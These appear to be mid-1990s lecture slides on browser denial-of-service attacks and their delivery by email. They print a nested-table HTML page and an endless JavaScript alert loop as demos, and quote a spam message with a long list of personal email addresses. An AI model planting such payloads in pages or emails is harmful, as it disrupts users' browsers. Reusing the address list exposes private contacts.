
Denial-of-Service Attacks

• HTML

• JavaScript

• ActiveX

• Programs & Attachments



HTML

<html><head>

<title>Table Attack</title>

</head>

<body><h1>Table Demo</h1>

<hr>

This tests your browser’s ability to deal with HTML tables...<p>

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...



JavaScript
<script lang=“JavaScript”>

while(1){

alert(“Denial of Service Demo.”);

}

</script>



ActiveX Exploder



Delivery by Email
Date: Wed, 6 Nov 1996 23:27:03 -0500 (EST)

From: "Simson L. Garfinkel" <simsong>

Message-Id: <199611070427.XAA20319@vineyard.net>

To: anybody@anywhere.net

Mime-Version: 1.0

Content-Type: text/html; charset="us-ascii"

<html><head>

<title>Table Attack</title>

</head>

<body><h1>Table Demo</h1>

<hr>

This tests your browser’s ability to deal with HTML tables...<p>

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...

<table><tr><th>This is your header...



Delivery by Forum



It’s actually remarkably easy to get people to
run programs on their computers...



More Malicious Email
ate: Fri, 08 Nov 1996 11:33:02 +0000
From: Warrick Taylor <warrick@wuthmann.com>
Reply-To: warrick@wuthmann.com
Organization: Wuthmann Associates
MIME-Version: 1.0
To: cbermant@mci.com, murometz@aol.com, mike_drips@msn.com, kmfields@cris.com,
        bronwynf@aol.com, simsong@vineyard.net, gametheory@aol.com,
        fluxman@flux.com, owl@bigfoot.com, morg@li.net, marshalr@pipeline.com,
        "pscisco@nr.infi.net4968469"@mcimail.com, chris_shipley@infoworld.com,
        urbfutur@interramp.com, pp002580@interramp.com, Ksiegmann@aol.com,
        71333.2623@compuserve.com, newsproj@aol.com, askdrj@aol.com,
        skatz@ap.org, atworks@instorm.net, meast@axcess.com, mgb@tiac.net
Subject: Postcards from the Net

This is a multi-part message in MIME format.
--------------256E5F274A12
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

NETWORK SOUND & LIGHT, INC. ANNOUNCES POSTCARDS FROM THE NET -E-MAIL JUST
GOT COOL-

Network Sound & Light, Inc. (http://www.coolcards.com) is excited to introduce Postcards from the Net,
a whole new way to communicate by e-mail. PLEASE OPEN THE ATTACHMENT OR SCROLL TOP
THE BOTTOM TO SEE A SAMPLE.


